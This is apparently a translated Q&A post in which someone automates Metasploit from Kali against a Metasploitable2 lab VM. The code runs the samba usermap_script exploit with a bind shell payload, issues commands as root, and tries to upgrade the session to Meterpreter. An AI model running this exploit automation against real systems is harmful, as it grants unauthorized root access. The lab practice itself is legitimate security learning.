首页 > 解决方案 > 使用 pymetasploitable3 和 metasploit(msf) 控制台从 shell 升级到 Meterpreter linux metasploitable2 自动化

问题描述

我试图通过在我的 Kali VM 上运行 python 脚本来在 metasploitable2 VM 上打开一个meterpreter shell。所有都连接到同一个内部 nat 网络。

我的道德黑客目标是尝试并执行利用和利用后的自动化(pymetasploit3)。

到目前为止,我能够使用我的 python3 脚本,它导入库 pymetasploit3.msfrpc,并额外使用msfconsole打开会话并发出正常的 Linux 终端命令。

我的利用代码:(test2.py)

import time 
from pymetasploit3.msfrpc import MsfRpcClient 
client = MsfRpcClient('mypassword', port=55552)
exploit = client.modules.use('exploit', 'multi/samba/usermap_script') #defining exploit to use
exploit['RHOSTS'] = "10.0.2.4" #metasploitable VM
exploit['RPORT'] = "139" #samba port
exploit.target = 0
payload = client.modules.use('payload', 'cmd/unix/bind_perl') #defining exploit's payload to use
payload['LPORT'] = 4444
time.sleep(10) #allow time for msfconsole to open command session
exploit.execute(payload=payload)
shell = client.sessions.session(list(client.sessions.list.keys())[0])
shell.write('whoami') #issuing commands to now opened shell
print(shell.read()) #result = root
shell.write('hostname') 
print(shell.read()) #result = metasploitable

我一直在按照本指南进行meterpreter升级

我的开发后代码(从 test2.py 中的先前代码继续):

payload1 = client.modules.use('payload', 'multi/manage/shell_to_meterpreter') #same explotation but different payload
payload1['LPORT'] = 8080
payload1['SESSION'] = 1
exploit.execute(payload=payload1)
shell = client.sessions.session('1')
shell.write('whoami')
print(shell.read())
shell.write('hostname')
print(shell.read())

msfconsole 的结果(包括初始设置和结果):

msfconsole #loads...
load msgrpc Pass=mypassword
#MSGRPC success messages
#loaded plugin: msgrpc
Command shell session 1 opened (0.0.0.0:0 -> 10.0.2.4:4444) at... #normal shell session active

运行实际的python代码(test2.py): 代码输出 第197行指的是:

payload1 = client.modules.use('payload', 'multi/manage/shell_to_meterpreter')

我想知道正确执行此利用后自动化的正确方法是什么,以及为什么第二个有效负载不起作用......

此外,如果有更简单的方法可以使用类似的自动化方法打开meterpreter,欢迎提出建议。谢谢

标签: pythonpython-3.xlinuxmetasploitkali-linux

解决方案


所以很多事情都是错误的,但解决方案是在单独的脚本中运行它,然后切换到 Meterpreter 会话。


推荐阅读